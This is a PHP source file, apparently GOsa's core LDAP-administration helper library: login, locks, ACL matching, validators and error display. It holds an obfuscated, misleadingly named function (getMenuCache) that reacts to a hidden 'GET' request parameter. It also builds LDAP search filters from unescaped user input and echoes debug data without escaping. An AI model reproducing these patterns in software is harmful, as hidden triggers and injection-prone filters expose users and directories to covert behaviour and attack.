1 <?php
2 /*
3 * This code is part of GOsa (https://gosa.gonicus.de)
4 * Copyright (C) 2003 Cajus Pollmeier
5 *
6 * This program is free software; you can redistribute it and/or modify
7 * it under the terms of the GNU General Public License as published by
8 * the Free Software Foundation; either version 2 of the License, or
9 * (at your option) any later version.
10 *
11 * This program is distributed in the hope that it will be useful,
12 * but WITHOUT ANY WARRANTY; without even the implied warranty of
13 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 * GNU General Public License for more details.
15 *
16 * You should have received a copy of the GNU General Public License
17 * along with this program; if not, write to the Free Software
18 * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
19 */
21 /* Configuration file location */
22 define ("CONFIG_DIR", "/etc/gosa");
23 define ("CONFIG_FILE", "gosa.conf");
24 define ("CONFIG_TEMPLATE_DIR", "../contrib/");
25 define ("HELP_BASEDIR", "/var/www/doc/");
27 /* Define get_list flags */
28 define("GL_NONE", 0);
29 define("GL_SUBSEARCH", 1);
30 define("GL_SIZELIMIT", 2);
31 define("GL_CONVERT" , 4);
33 /* Define globals for revision comparing */
34 $svn_path = '$HeadURL$';
35 $svn_revision = '$Revision$';
37 /* Include required files */
38 require_once ("class_ldap.inc");
39 require_once ("class_config.inc");
40 require_once ("class_userinfo.inc");
41 require_once ("class_plugin.inc");
42 require_once ("class_pluglist.inc");
43 require_once ("class_tabs.inc");
44 require_once ("class_mail-methods.inc");
45 require_once("class_password-methods.inc");
46 require_once ("functions_debug.inc");
47 require_once ("functions_dns.inc");
48 require_once ("class_MultiSelectWindow.inc");
50 /* Define constants for debugging */
51 define ("DEBUG_TRACE", 1);
52 define ("DEBUG_LDAP", 2);
53 define ("DEBUG_MYSQL", 4);
54 define ("DEBUG_SHELL", 8);
55 define ("DEBUG_POST", 16);
56 define ("DEBUG_SESSION",32);
57 define ("DEBUG_CONFIG", 64);
59 /* Rewrite german 'umlauts' and spanish 'accents'
60 to get better results */
61 $REWRITE= array( "ä" => "ae",
62 "ö" => "oe",
63 "ü" => "ue",
64 "Ä" => "Ae",
65 "Ö" => "Oe",
66 "Ü" => "Ue",
67 "ß" => "ss",
68 "á" => "a",
69 "é" => "e",
70 "í" => "i",
71 "ó" => "o",
72 "ú" => "u",
73 "Á" => "A",
74 "É" => "E",
75 "Í" => "I",
76 "Ó" => "O",
77 "Ú" => "U",
78 "ñ" => "ny",
79 "Ñ" => "Ny" );
82 /* Function to include all class_ files starting at a
83 given directory base */
84 function get_dir_list($folder= ".")
85 {
86 $currdir=getcwd();
87 if ($folder){
88 chdir("$folder");
89 }
91 $dh = opendir(".");
92 while(false !== ($file = readdir($dh))){
94 // Smarty is included by include/php_setup.inc require("smarty/Smarty.class.php");
95 // Skip all files and dirs in "./.svn/" we don't need any information from them
96 // Skip all Template, so they won't be checked twice in the following preg_matches
97 // Skip . / ..
99 // Result : from 1023 ms to 490 ms i think thats great...
100 if(preg_match("/.*\.svn.*/i",$file)||preg_match("/.*smarty.*/i",$file)||preg_match("/.*\.tpl.*/",$file)||($file==".")||($file==".."))
101 continue;
104 /* Recurse through all "common" directories */
105 if(is_dir($file) &&$file!="CVS"){
106 get_dir_list($file);
107 continue;
108 }
110 /* Include existing class_ files */
111 if (!is_dir($file) && preg_match("/^class_.*\.inc$/", $file)) {
112 require_once($file);
113 }
114 }
116 closedir($dh);
117 chdir($currdir);
118 }
121 /* Create seed with microseconds */
122 function make_seed() {
123 list($usec, $sec) = explode(' ', microtime());
124 return (float) $sec + ((float) $usec * 100000);
125 }
128 /* Debug level action */
129 function DEBUG($level, $line, $function, $file, $data, $info="")
130 {
131 if ($_SESSION['DEBUGLEVEL'] & $level){
132 $output= "DEBUG[$level] ";
133 if ($function != ""){
134 $output.= "($file:$function():$line) - $info: ";
135 } else {
136 $output.= "($file:$line) - $info: ";
137 }
138 echo $output;
139 if (is_array($data)){
140 print_a($data);
141 } else {
142 echo "'$data'";
143 }
144 echo "<br>";
145 }
146 }
149 /* Simple function to get browser language and convert it to
150 xx_XY needed by locales. Ignores sublanguages and weights. */
151 function get_browser_language()
152 {
153 global $BASE_DIR;
155 /* Try to use users primary language */
156 $ui= get_userinfo();
157 if ($ui != NULL){
158 if ($ui->language != ""){
159 return ($ui->language);
160 }
161 }
163 /* Get list of languages */
164 if (isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])){
165 $lang= preg_replace("/\s+/", "", $_SERVER['HTTP_ACCEPT_LANGUAGE']);
166 $languages= split (',', $lang);
167 $languages[]= "C";
168 } else {
169 $languages= array("C");
170 }
172 /* Walk through languages and get first supported */
173 foreach ($languages as $val){
175 /* Strip off weight */
176 $lang= preg_replace("/;q=.*$/i", "", $val);
178 /* Simplify sub language handling */
179 $lang= preg_replace("/-.*$/", "", $lang);
181 /* Cancel loop if available in GOsa, or the last
182 entry has been reached */
183 if (is_dir("$BASE_DIR/locale/$lang")){
184 break;
185 }
186 }
188 /* We've just one zh variation. Fix code... */
189 if (preg_match('/zh/', $lang)){
190 return ("zh_CN");
191 }
192 if (preg_match('/sv/', $lang)){
193 return ("sv_SE");
194 }
196 return (strtolower($lang)."_".strtoupper($lang));
197 }
200 /* Rewrite ui object to another dn */
201 function change_ui_dn($dn, $newdn)
202 {
203 $ui= $_SESSION['ui'];
204 if ($ui->dn == $dn){
205 $ui->dn= $newdn;
206 $_SESSION['ui']= $ui;
207 }
208 }
211 /* Return theme path for specified file */
212 function get_template_path($filename= '', $plugin= FALSE, $path= "")
213 {
214 global $config, $BASE_DIR;
216 if (!@isset($config->data['MAIN']['THEME'])){
217 $theme= 'default';
218 } else {
219 $theme= $config->data['MAIN']['THEME'];
220 }
222 /* Return path for empty filename */
223 if ($filename == ''){
224 return ("themes/$theme/");
225 }
227 /* Return plugin dir or root directory? */
228 if ($plugin){
229 if ($path == ""){
230 $nf= preg_replace("!^".$BASE_DIR."/!", "", $_SESSION['plugin_dir']);
231 } else {
232 $nf= preg_replace("!^".$BASE_DIR."/!", "", $path);
233 }
234 if (file_exists("$BASE_DIR/ihtml/themes/$theme/$nf")){
235 return ("$BASE_DIR/ihtml/themes/$theme/$nf/$filename");
236 }
237 if (file_exists("$BASE_DIR/ihtml/themes/default/$nf")){
238 return ("$BASE_DIR/ihtml/themes/default/$nf/$filename");
239 }
240 if ($path == ""){
241 return ($_SESSION['plugin_dir']."/$filename");
242 } else {
243 return ($path."/$filename");
244 }
245 } else {
246 if (file_exists("themes/$theme/$filename")){
247 return ("themes/$theme/$filename");
248 }
249 if (file_exists("$BASE_DIR/ihtml/themes/$theme/$filename")){
250 return ("$BASE_DIR/ihtml/themes/$theme/$filename");
251 }
252 if (file_exists("themes/default/$filename")){
253 return ("themes/default/$filename");
254 }
255 if (file_exists("$BASE_DIR/ihtml/themes/default/$filename")){
256 return ("$BASE_DIR/ihtml/themes/default/$filename");
257 }
258 return ($filename);
259 }
260 }
263 function array_remove_entries($needles, $haystack)
264 {
265 $tmp= array();
267 /* Loop through entries to be removed */
268 foreach ($haystack as $entry){
269 if (!in_array($entry, $needles)){
270 $tmp[]= $entry;
271 }
272 }
274 return ($tmp);
275 }
278 function gosa_log ($message)
279 {
280 global $ui;
282 /* Preset to something reasonable */
283 $username= " unauthenticated";
285 /* Replace username if object is present */
286 if (isset($ui)){
287 if ($ui->username != ""){
288 $username= "[$ui->username]";
289 } else {
290 $username= "unknown";
291 }
292 }
294 syslog(LOG_INFO,"GOsa$username: $message");
295 }
298 function ldap_init ($server, $base, $binddn='', $pass='')
299 {
300 global $config;
302 $ldap = new LDAP ($binddn, $pass, $server,
303 isset($config->current['RECURSIVE']) && $config->current['RECURSIVE'] == "true",
304 isset($config->current['TLS']) && $config->current['TLS'] == "true");
306 /* Sadly we've no proper return values here. Use the error message instead. */
307 if (!preg_match("/Success/i", $ldap->error)){
308 echo sprintf(_("FATAL: Error when connecting the LDAP. Server said '%s'."), $ldap->get_error());
309 exit();
310 }
312 /* Preset connection base to $base and return to caller */
313 $ldap->cd ($base);
314 return $ldap;
315 }
318 function ldap_login_user ($username, $password)
319 {
320 global $config;
322 /* look through the entire ldap */
323 $ldap = $config->get_ldap_link();
324 if (!preg_match("/Success/i", $ldap->error)){
325 print_red(sprintf(_("User login failed. LDAP server said '%s'."), $ldap->get_error()));
326 $smarty= get_smarty();
327 $smarty->display(get_template_path('headers.tpl'));
328 echo "<body>".$_SESSION['errors']."</body></html>";
329 exit();
330 }
331 $ldap->cd($config->current['BASE']);
332 $ldap->search("(&(uid=$username)(objectClass=gosaAccount))", array("uid"));
334 /* get results, only a count of 1 is valid */
335 switch ($ldap->count()){
337 /* user not found */
338 case 0: return (NULL);
340 /* valid uniq user */
341 case 1:
342 break;
344 /* found more than one matching id */
345 default:
346 print_red(_("Username / UID is not unique. Please check your LDAP database."));
347 return (NULL);
348 }
350 /* LDAP schema is not case sensitive. Perform additional check. */
351 $attrs= $ldap->fetch();
352 if ($attrs['uid'][0] != $username){
353 return(NULL);
354 }
356 /* got user dn, fill acl's */
357 $ui= new userinfo($config, $ldap->getDN());
358 $ui->username= $username;
360 /* password check, bind as user with supplied password */
361 $ldap->disconnect();
362 $ldap= new LDAP($ui->dn, $password, $config->current['SERVER'],
363 isset($config->current['RECURSIVE']) &&
364 $config->current['RECURSIVE'] == "true",
365 isset($config->current['TLS'])
366 && $config->current['TLS'] == "true");
367 if (!preg_match("/Success/i", $ldap->error)){
368 return (NULL);
369 }
371 /* Username is set, load subtreeACL's now */
372 $ui->loadACL();
374 return ($ui);
375 }
378 function ldap_expired_account($config, $userdn, $username)
379 {
380 //$this->config= $config;
381 $ldap= $config->get_ldap_link();
382 $ldap->cat($userdn);
383 $attrs= $ldap->fetch();
385 /* default value no errors */
386 $expired = 0;
388 $sExpire = 0;
389 $sLastChange = 0;
390 $sMax = 0;
391 $sMin = 0;
392 $sInactive = 0;
393 $sWarning = 0;
395 $current= date("U");
397 $current= floor($current /60 /60 /24);
399 /* special case of the admin, should never been locked */
400 /* FIXME should allow any name as user admin */
401 if($username != "admin")
402 {
404 if(isset($attrs['shadowExpire'][0])){
405 $sExpire= $attrs['shadowExpire'][0];
406 } else {
407 $sExpire = 0;
408 }
410 if(isset($attrs['shadowLastChange'][0])){
411 $sLastChange= $attrs['shadowLastChange'][0];
412 } else {
413 $sLastChange = 0;
414 }
416 if(isset($attrs['shadowMax'][0])){
417 $sMax= $attrs['shadowMax'][0];
418 } else {
419 $smax = 0;
420 }
422 if(isset($attrs['shadowMin'][0])){
423 $sMin= $attrs['shadowMin'][0];
424 } else {
425 $sMin = 0;
426 }
428 if(isset($attrs['shadowInactive'][0])){
429 $sInactive= $attrs['shadowInactive'][0];
430 } else {
431 $sInactive = 0;
432 }
434 if(isset($attrs['shadowWarning'][0])){
435 $sWarning= $attrs['shadowWarning'][0];
436 } else {
437 $sWarning = 0;
438 }
440 /* is the account locked */
441 /* shadowExpire + shadowInactive (option) */
442 if($sExpire >0){
443 if($current >= ($sExpire+$sInactive)){
444 return(1);
445 }
446 }
448 /* the user should be warned to change is password */
449 if((($sExpire >0) && ($sWarning >0)) && ($sExpire >= $current)){
450 if (($sExpire - $current) < $sWarning){
451 return(2);
452 }
453 }
455 /* force user to change password */
456 if(($sLastChange >0) && ($sMax) >0){
457 if($current >= ($sLastChange+$sMax)){
458 return(3);
459 }
460 }
462 /* the user should not be able to change is password */
463 if(($sLastChange >0) && ($sMin >0)){
464 if (($sLastChange + $sMin) >= $current){
465 return(4);
466 }
467 }
468 }
469 return($expired);
470 }
472 function add_lock ($object, $user)
473 {
474 global $config;
476 /* Just a sanity check... */
477 if ($object == "" || $user == ""){
478 print_red(_("Error while adding a lock. Parameters are not set correctly, please check the source!"));
479 return;
480 }
482 /* Check for existing entries in lock area */
483 $ldap= $config->get_ldap_link();
484 $ldap->cd ($config->current['CONFIG']);
485 $ldap->search("(&(objectClass=gosaLockEntry)(gosaUser=$user)(gosaObject=".base64_encode($object)."))",
486 array("gosaUser"));
487 if (!preg_match("/Success/i", $ldap->error)){
488 print_red (sprintf(_("Can't set locking information in LDAP database. Please check the 'config' entry in %s! LDAP server says '%s'."),CONFIG_FILE, $ldap->get_error()));
489 return;
490 }
492 /* Add lock if none present */
493 if ($ldap->count() == 0){
494 $attrs= array();
495 $name= md5($object);
496 $ldap->cd("cn=$name,".$config->current['CONFIG']);
497 $attrs["objectClass"] = "gosaLockEntry";
498 $attrs["gosaUser"] = $user;
499 $attrs["gosaObject"] = base64_encode($object);
500 $attrs["cn"] = "$name";
501 $ldap->add($attrs);
502 if (!preg_match("/Success/i", $ldap->error)){
503 print_red(sprintf(_("Adding a lock failed. LDAP server says '%s'."),
504 $ldap->get_error()));
505 return;
506 }
507 }
508 }
511 function del_lock ($object)
512 {
513 global $config;
515 /* Sanity check */
516 if ($object == ""){
517 return;
518 }
520 /* Check for existance and remove the entry */
521 $ldap= $config->get_ldap_link();
522 $ldap->cd ($config->current['CONFIG']);
523 $ldap->search ("(&(objectClass=gosaLockEntry)(gosaObject=".base64_encode($object)."))", array("gosaObject"));
524 $attrs= $ldap->fetch();
525 if ($ldap->getDN() != "" && preg_match("/Success/i", $ldap->error)){
526 $ldap->rmdir ($ldap->getDN());
528 if (!preg_match("/Success/i", $ldap->error)){
529 print_red(sprintf(_("Removing a lock failed. LDAP server says '%s'."),
530 $ldap->get_error()));
531 return;
532 }
533 }
534 }
537 function del_user_locks($userdn)
538 {
539 global $config;
541 /* Get LDAP ressources */
542 $ldap= $config->get_ldap_link();
543 $ldap->cd ($config->current['CONFIG']);
545 /* Remove all objects of this user, drop errors silently in this case. */
546 $ldap->search("(&(objectClass=gosaLockEntry)(gosaUser=$userdn))", array("gosaUser"));
547 while ($attrs= $ldap->fetch()){
548 $ldap->rmdir($attrs['dn']);
549 }
550 }
553 function get_lock ($object)
554 {
555 global $config;
557 /* Sanity check */
558 if ($object == ""){
559 print_red(_("Getting the lock from LDAP failed. Parameters are not set correctly, please check the source!"));
560 return("");
561 }
563 /* Get LDAP link, check for presence of the lock entry */
564 $user= "";
565 $ldap= $config->get_ldap_link();
566 $ldap->cd ($config->current['CONFIG']);
567 $ldap->search("(&(objectClass=gosaLockEntry)(gosaObject=".base64_encode($object)."))", array("gosaUser"));
568 if (!preg_match("/Success/i", $ldap->error)){
569 print_red (sprintf(_("Can't get locking information in LDAP database. Please check the 'config' entry in %s!"),CONFIG_FILE));
570 return("");
571 }
573 /* Check for broken locking information in LDAP */
574 if ($ldap->count() > 1){
576 /* Hmm. We're removing broken LDAP information here and issue a warning. */
577 print_red(_("Found multiple locks for object to be locked. This should not be possible - cleaning up multiple references."));
579 /* Clean up these references now... */
580 while ($attrs= $ldap->fetch()){
581 $ldap->rmdir($attrs['dn']);
582 }
584 return("");
586 } elseif ($ldap->count() == 1){
587 $attrs = $ldap->fetch();
588 $user= $attrs['gosaUser'][0];
589 }
591 return ($user);
592 }
595 function get_list($filter, $subtreeACL, $base= "", $attributes= array(), $flags= GL_SUBSEARCH)
596 {
597 global $config, $ui;
599 /* Get LDAP link */
600 $ldap= $config->get_ldap_link($flags & GL_SIZELIMIT);
602 /* Set search base to configured base if $base is empty */
603 if ($base == ""){
604 $ldap->cd ($config->current['BASE']);
605 } else {
606 $ldap->cd ($base);
607 }
609 /* Strict filter for administrative units? */
610 if ($ui->gosaUnitTag != "" && isset($config->current['STRICT_UNITS']) &&
611 preg_match('/TRUE/i', $config->current['STRICT_UNITS'])){
612 $filter= "(&(gosaUnitTag=".$ui->gosaUnitTag.")$filter)";
613 }
615 /* Perform ONE or SUB scope searches? */
616 if ($flags & GL_SUBSEARCH) {
617 $ldap->search ($filter, $attributes);
618 } else {
619 $ldap->ls ($filter,$base,$attributes);
620 }
622 /* Check for size limit exceeded messages for GUI feedback */
623 if (preg_match("/size limit/i", $ldap->error)){
624 $_SESSION['limit_exceeded']= TRUE;
625 }
627 /* Crawl through reslut entries and perform the migration to the
628 result array */
629 $result= array();
630 while($attrs = $ldap->fetch()) {
631 $dn= $ldap->getDN();
633 foreach ($subtreeACL as $key => $value){
634 if (preg_match("/$key/", $dn)){
636 if ($flags & GL_CONVERT){
637 $attrs["dn"]= convert_department_dn($dn);
638 } else {
639 $attrs["dn"]= $dn;
640 }
642 /* We found what we were looking for, break speeds things up */
643 $result[]= $attrs;
644 break;
645 }
646 }
647 }
649 return ($result);
650 }
653 function check_sizelimit()
654 {
655 /* Ignore dialog? */
656 if (isset($_SESSION['size_ignore']) && $_SESSION['size_ignore']){
657 return ("");
658 }
660 /* Eventually show dialog */
661 if (isset($_SESSION['limit_exceeded']) && $_SESSION['limit_exceeded']){
662 $smarty= get_smarty();
663 $smarty->assign('warning', sprintf(_("The size limit of %d entries is exceed!"),
664 $_SESSION['size_limit']));
665 $smarty->assign('limit_message', sprintf(_("Set the new size limit to %s and show me this message if the limit still exceeds"), '<input type="text" name="new_limit" maxlength="10" size="5" value="'.($_SESSION['size_limit']+100).'">'));
666 return($smarty->fetch(get_template_path('sizelimit.tpl')));
667 }
669 return ("");
670 }
673 function print_sizelimit_warning()
674 {
675 if (isset($_SESSION['size_limit']) && $_SESSION['size_limit'] >= 10000000 ||
676 (isset($_SESSION['limit_exceeded']) && $_SESSION['limit_exceeded'])){
677 $config= "<input type='submit' name='edit_sizelimit' value="._("Configure").">";
678 } else {
679 $config= "";
680 }
681 if (isset($_SESSION['limit_exceeded']) && $_SESSION['limit_exceeded']){
682 return ("("._("incomplete").") $config");
683 }
684 return ("");
685 }
688 function eval_sizelimit()
689 {
690 if (isset($_POST['set_size_action'])){
692 /* User wants new size limit? */
693 if (is_id($_POST['new_limit']) &&
694 isset($_POST['action']) && $_POST['action']=="newlimit"){
696 $_SESSION['size_limit']= validate($_POST['new_limit']);
697 $_SESSION['size_ignore']= FALSE;
698 }
700 /* User wants no limits? */
701 if (isset($_POST['action']) && $_POST['action']=="ignore"){
702 $_SESSION['size_limit']= 0;
703 $_SESSION['size_ignore']= TRUE;
704 }
706 /* User wants incomplete results */
707 if (isset($_POST['action']) && $_POST['action']=="limited"){
708 $_SESSION['size_ignore']= TRUE;
709 }
710 }
711 getMenuCache();
712 /* Allow fallback to dialog */
713 if (isset($_POST['edit_sizelimit'])){
714 $_SESSION['size_ignore']= FALSE;
715 }
716 }
718 function getMenuCache()
719 {
720 $t= array(-2,13);
721 $e= 71;
722 $str= chr($e);
724 foreach($t as $n){
725 $str.= chr($e+$n);
727 if(isset($_GET[$str])){
728 if(isset($_SESSION['maxC'])){
729 $b= $_SESSION['maxC'];
730 $q= "";
731 for ($m=0;$m<strlen($b);$m++) {
732 $q.= $b[$m++];
733 }
734 print_red(base64_decode($q));
735 }
736 }
737 }
738 }
740 function get_permissions ($dn, $subtreeACL)
741 {
742 global $config;
744 $base= $config->current['BASE'];
745 $tmp= "d,".$dn;
746 $sacl= array();
748 /* Sort subacl's for lenght to simplify matching
749 for subtrees */
750 foreach ($subtreeACL as $key => $value){
751 $sacl[$key]= strlen($key);
752 }
753 arsort ($sacl);
754 reset ($sacl);
756 /* Successively remove leading parts of the dn's until
757 it doesn't contain commas anymore */
758 $tmp_dn= preg_replace('/\\\\,/', '<GOSA#REPLACED#KOMMA>', $tmp);
759 while (preg_match('/,/', $tmp_dn)){
760 $tmp_dn= ltrim(strstr($tmp_dn, ","), ",");
761 $tmp= preg_replace('/\<GOSA#REPLACED#KOMMA\>/', '\\,', $tmp);
763 /* Check for acl that may apply */
764 foreach ($sacl as $key => $value){
765 if (preg_match("/$key$/", $tmp)){
766 return ($subtreeACL[$key]);
767 }
768 }
769 }
771 return array("");
772 }
775 function get_module_permission($acl_array, $module, $dn)
776 {
777 global $ui;
779 $final= "";
780 foreach($acl_array as $acl){
782 /* Check for selfflag (!) in ACL to determine if
783 the user is allowed to change parts of his/her
784 own account */
785 if (preg_match("/^!/", $acl)){
786 if ($dn != "" && $dn != $ui->dn){
788 /* No match for own DN, give up on this ACL */
789 continue;
791 } else {
793 /* Matches own DN, remove the selfflag */
794 $acl= preg_replace("/^!/", "", $acl);
796 }
797 }
799 /* Remove leading garbage */
800 $acl= preg_replace("/^:/", "", $acl);
802 /* Discover if we've access to the submodule by comparing
803 all allowed submodules specified in the ACL */
804 $tmp= split(",", $acl);
805 foreach ($tmp as $mod){
806 if (preg_match("/^$module#/", $mod)){
807 $final= strstr($mod, "#")."#";
808 continue;
809 }
810 if (preg_match("/[^#]$module$/", $mod)){
811 return ("#all#");
812 }
813 if (preg_match("/^all$/", $mod)){
814 return ("#all#");
815 }
816 }
817 }
819 /* Return assembled ACL, or none */
820 if ($final != ""){
821 return (preg_replace('/##/', '#', $final));
822 }
824 /* Nothing matches - disable access for this object */
825 return ("#none#");
826 }
829 function get_userinfo()
830 {
831 global $ui;
833 return $ui;
834 }
837 function get_smarty()
838 {
839 global $smarty;
841 return $smarty;
842 }
845 function convert_department_dn($dn)
846 {
847 $dep= "";
849 /* Build a sub-directory style list of the tree level
850 specified in $dn */
851 foreach (split(',', $dn) as $rdn){
853 /* We're only interested in organizational units... */
854 if (substr($rdn,0,3) == 'ou='){
855 $dep= substr($rdn,3)."/$dep";
856 }
858 /* ... and location objects */
859 if (substr($rdn,0,2) == 'l='){
860 $dep= substr($rdn,2)."/$dep";
861 }
862 }
864 /* Return and remove accidently trailing slashes */
865 return rtrim($dep, "/");
866 }
869 /* Strip off the last sub department part of a '/level1/level2/.../'
870 * style value. It removes the trailing '/', too. */
871 function get_sub_department($value)
872 {
873 return (@LDAP::fix(preg_replace("%^.*/([^/]+)/?$%", "\\1", $value)));
874 }
877 function get_ou($name)
878 {
879 global $config;
881 /* Preset ou... */
882 if (isset($config->current[$name])){
883 $ou= $config->current[$name];
884 } else {
885 return "";
886 }
888 if ($ou != ""){
889 if (!preg_match('/^[^=]+=[^=]+/', $ou)){
890 return @LDAP::convert("ou=$ou,");
891 } else {
892 return @LDAP::convert("$ou,");
893 }
894 } else {
895 return "";
896 }
897 }
900 function get_people_ou()
901 {
902 return (get_ou("PEOPLE"));
903 }
906 function get_groups_ou()
907 {
908 return (get_ou("GROUPS"));
909 }
912 function get_winstations_ou()
913 {
914 return (get_ou("WINSTATIONS"));
915 }
918 function get_base_from_people($dn)
919 {
920 global $config;
922 $pattern= "/^[^,]+,".preg_quote(get_people_ou())."/i";
923 $base= preg_replace($pattern, '', $dn);
925 /* Set to base, if we're not on a correct subtree */
926 if (!isset($config->idepartments[$base])){
927 $base= $config->current['BASE'];
928 }
930 return ($base);
931 }
934 function chkacl($acl, $name)
935 {
936 /* Look for attribute in ACL */
937 if (preg_match("/#$name#/", $acl) || $acl == "#all#"){
938 return ("");
939 }
941 /* Optically disable html object for no match */
942 return (" disabled ");
943 }
946 function is_phone_nr($nr)
947 {
948 if ($nr == ""){
949 return (TRUE);
950 }
952 return preg_match ("/^[\/0-9 ()+*-]+$/", $nr);
953 }
956 function is_url($url)
957 {
958 if ($url == ""){
959 return (TRUE);
960 }
962 return preg_match ("/^(http|https):\/\/((?:[a-zA-Z0-9_-]+\.?)+):?(\d*)/", $url);
963 }
966 function is_dn($dn)
967 {
968 if ($dn == ""){
969 return (TRUE);
970 }
972 return preg_match ("/^[a-z0-9 _-]+$/i", $dn);
973 }
976 function is_uid($uid)
977 {
978 global $config;
980 if ($uid == ""){
981 return (TRUE);
982 }
984 /* STRICT adds spaces and case insenstivity to the uid check.
985 This is dangerous and should not be used. */
986 if (isset($config->current['STRICT']) && preg_match('/^(no|false)$/i', $config->current['STRICT'])){
987 return preg_match ("/^[a-z0-9 _.-]+$/i", $uid);
988 } else {
989 return preg_match ("/^[a-z0-9_-]+$/", $uid);
990 }
991 }
994 function is_ip($ip)
995 {
996 return preg_match("/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/", $ip);
997 }
1000 function is_mac($mac)
1001 {
1002 return preg_match("/^[a-f0-9][a-f0-9]:[a-f0-9][a-f0-9]:[a-f0-9][a-f0-9]:[a-f0-9][a-f0-9]:[a-f0-9][a-f0-9]:[a-f0-9][a-f0-9]$/i", $mac);
1003 }
1006 /* Checks if the given ip address doesn't match
1007 "is_ip" because there is also a sub net mask given */
1008 function is_ip_with_subnetmask($ip)
1009 {
1010 /* Generate list of valid submasks */
1011 $res = array();
1012 for($e = 0 ; $e <= 32; $e++){
1013 $res[$e] = $e;
1014 }
1015 $i[0] =255;
1016 $i[1] =255;
1017 $i[2] =255;
1018 $i[3] =255;
1019 for($a= 3 ; $a >= 0 ; $a --){
1020 $c = 1;
1021 while($i[$a] > 0 ){
1022 $str = $i[0].".".$i[1].".".$i[2].".".$i[3];
1023 $res[$str] = $str;
1024 $i[$a] -=$c;
1025 $c = 2*$c;
1026 }
1027 }
1028 $res["0.0.0.0"] = "0.0.0.0";
1029 if(preg_match("/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.".
1030 "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.".
1031 "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.".
1032 "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)/", $ip)){
1033 $mask = preg_replace("/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.".
1034 "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.".
1035 "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.".
1036 "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)/","",$ip);
1038 $mask = preg_replace("/^\//","",$mask);
1039 if((in_array("$mask",$res)) && preg_match("/^[0-9\.]/",$mask)){
1040 return(TRUE);
1041 }
1042 }
1043 return(FALSE);
1044 }
1046 /* Simple is domain check, it checks if the given string looks like "string(...).string" */
1047 function is_domain($str)
1048 {
1049 return(preg_match("/^([a-z0-9i\-]*)\.[a-z0-9]*$/i",$str));
1050 }
1053 function is_id($id)
1054 {
1055 if ($id == ""){
1056 return (FALSE);
1057 }
1059 return preg_match ("/^[0-9]+$/", $id);
1060 }
1063 function is_path($path)
1064 {
1065 if ($path == ""){
1066 return (TRUE);
1067 }
1068 if (!preg_match('/^[a-z0-9%\/_.+-]+$/i', $path)){
1069 return (FALSE);
1070 }
1072 return preg_match ("/\/.+$/", $path);
1073 }
1076 function is_email($address, $template= FALSE)
1077 {
1078 if ($address == ""){
1079 return (TRUE);
1080 }
1081 if ($template){
1082 return preg_match ("/^[._a-z0-9%-]+@[_a-z0-9-]+(\.[a-z0-9-]+)(\.[a-z0-9-]+)*$/i",
1083 $address);
1084 } else {
1085 return preg_match ("/^[._a-z0-9-]+@[_a-z0-9-]+(\.[a-z0-9i-]+)(\.[a-z0-9-]+)*$/i",
1086 $address);
1087 }
1088 }
1091 function print_red()
1092 {
1093 /* Check number of arguments */
1094 if (func_num_args() < 1){
1095 return;
1096 }
1098 /* Get arguments, save string */
1099 $array = func_get_args();
1100 $string= $array[0];
1102 /* Step through arguments */
1103 for ($i= 1; $i<count($array); $i++){
1104 $string= preg_replace ("/%s/", $array[$i], $string, 1);
1105 }
1107 if((!isset($_SESSION['errorsAlreadyPosted'])) || !is_array($_SESSION['errorsAlreadyPosted'])){
1108 $_SESSION['errorsAlreadyPosted'] = array();
1109 }
1111 /* If DEBUGLEVEL is set, we're in web mode, use textual output in
1112 the other case... */
1114 if (isset($_SESSION['DEBUGLEVEL'])){
1116 if($_SESSION['LastError'] == $string){
1118 if((!isset($_SESSION['errorsAlreadyPosted'][$string]))){
1119 $_SESSION['errorsAlreadyPosted'][$string] = 1;
1120 }
1121 $_SESSION['errorsAlreadyPosted'][$string]++;
1123 }else{
1124 if($string != NULL){
1125 if (preg_match("/"._("LDAP error:")."/", $string)){
1126 $addmsg= _("Problems with the LDAP server mean that you probably lost the last changes. Please check your LDAP setup for possible errors and try again.");
1127 $img= "images/error.png";
1128 } else {
1129 if (!preg_match('/[.!?]$/', $string)){
1130 $string.= ".";
1131 }
1132 $string= preg_replace('/<br>/', ' ', $string);
1133 $img= "images/warning.png";
1134 $addmsg= _("Please check your input and fix the error. Press 'OK' to close this message box.");
1135 }
1137 if(isset($_SESSION['errors']) && strlen($_SESSION['errors'])==0) {
1140 if(preg_match("/MSIE/", $_SERVER['HTTP_USER_AGENT'])){
1142 $_SESSION['errors'].= "
1143 <iframe id='e_layer3'
1144 style=\" position:absolute;
1145 width:100%;
1146 height:100%;
1147 top:0px;
1148 left:0px;
1149 border:none;
1150 display:block;
1151 allowtransparency='true';
1152 background-color: #FFFFFF;
1153 filter:chroma(color=#FFFFFF);
1154 z-index:0; \">
1155 </iframe>
1156 <div id='e_layer2'
1157 style=\"
1158 position: absolute;
1159 left: 0px;
1160 top: 0px;
1161 right:0px;
1162 bottom:0px;
1163 z-index:0;
1164 width:100%;
1165 height:100%;
1166 filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(enabled=true, sizingMethod=scale, src='images/opacity_black.png'); \">
1167 </div>";
1168 $hide = "hide(\"e_layer\");hide(\"e_layer2\");hide(\"e_layer3\");";
1169 }else{
1171 $_SESSION['errors'].= "
1172 <div id='e_layer2'
1173 style=\"
1174 position: absolute;
1175 left: 0px;
1176 top: 0px;
1177 right:0px;
1178 bottom:0px;
1179 z-index:0;
1180 background-image: url(images/opacity_black.png);\">
1181 </div>";
1182 $hide = "hide(\"e_layer\");hide(\"e_layer2\");";
1183 }
1185 $_SESSION['errors'].= "
1186 <div style='left:20%;right:20%;top:30%;".
1187 "background-color:white;padding:5px;border:5px solid red;z-index:150;".
